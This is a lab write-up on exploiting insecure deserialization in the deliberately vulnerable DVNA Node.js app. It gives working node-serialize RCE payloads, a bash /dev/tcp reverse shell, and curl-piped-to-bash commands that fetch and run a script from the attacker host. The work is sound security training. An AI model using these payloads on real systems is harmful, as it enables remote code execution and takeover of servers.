Node.js - Insecure Deserialization : DVNA

Lab :

Deployment :

docker option

Networking :

Vulnerable App IP: 172.17.0.2

Kali machine IP : 172.17.0.1

  • Note:

    • I was using docker container, if you want to check container IP you can use the below command

      docker inspect --format '{{ .NetworkSettings.IPAddress }}' container_name_or_id

Understanding Application Behaviour :

The vulnerable function located at this url

http://127.0.0.1:9090/app/bulkproducts?legacy=true

we can see that the application is sharing with us the json data format as below

[{"name":"Xbox 360","code":"15","tags":"gaming console","description":"Microsoft's flagship gaming console"},{"name":"Playstation 3","code":"17","tags":"gaming console","description":"Sony's flagshipgaming console"}]

copying json data to a file & uploading that file to the application to see how the app is handling the request

the app is redirecting us to the product page, and if we follow the redirection we can see that the app is printing the json data that we uploaded

Triggering the Vulnerability :

I tried first to inject the following payload which just execute remote command "ls" to see if the application would print the output of the command in the table

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls', function(error, stdout, stderr) { console.log(stdout) });}()"}

but got an error message

However, it might be that the app executed our command successfully but it's not processing the output correctly, or we are in a blind injection situation, so I tried another method to check for blind Injection , one example can be using ping command, and ask the app to ping our host by forwarding this payload :

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ping 172.17.0.1', function(error, stdout, stderr) { console.log(stdout) });}()"}

and capturing icmp packets on our host using this command

tcpdump -nni ethernet_interface icmp

and after we uploading the ping payload we can see that the app is successfully executed our command!

Reverse Shell - BASH TCP :

hosting the following shell.sh using python SimpleHTTPServer

bash -i >& /dev/tcp/172.17.0.1/4242 0>&1

passing the following payload to the app ( the payload just curl the shell.sh file, to check that the application can fetch the file correctly )

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl <http://172.17.0.1/shell.sh>', function(error, stdout, stderr) { console.log(stdout) });}()"}

and we can see that the app fetched our file

now passing this payload to first fetch the file (curl) & execute it (by piping it to bash)

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl <http://172.17.0.1/shell.sh> | bash', function(error, stdout, stderr) { console.log(stdout) });}()"}

and we got the shell on our host!

Reverse Shell - Node.js :

for a stable shell, we can rely on JS reverse shell, I've tried using the nodejsshell.py script (https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py) which generates the JS payload for us

Running the script

python nodejsshell.py 172.17.0.1 4242

now we can place the revers shell JS payload inside the function body of the serialized payload (as described in this article :https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)

the final payload would be like this

{"rce":"_$$ND_FUNC$$_function (){ .. place the JS payload here .. }()"}

and we got the shell !

Last updated

Was this helpful?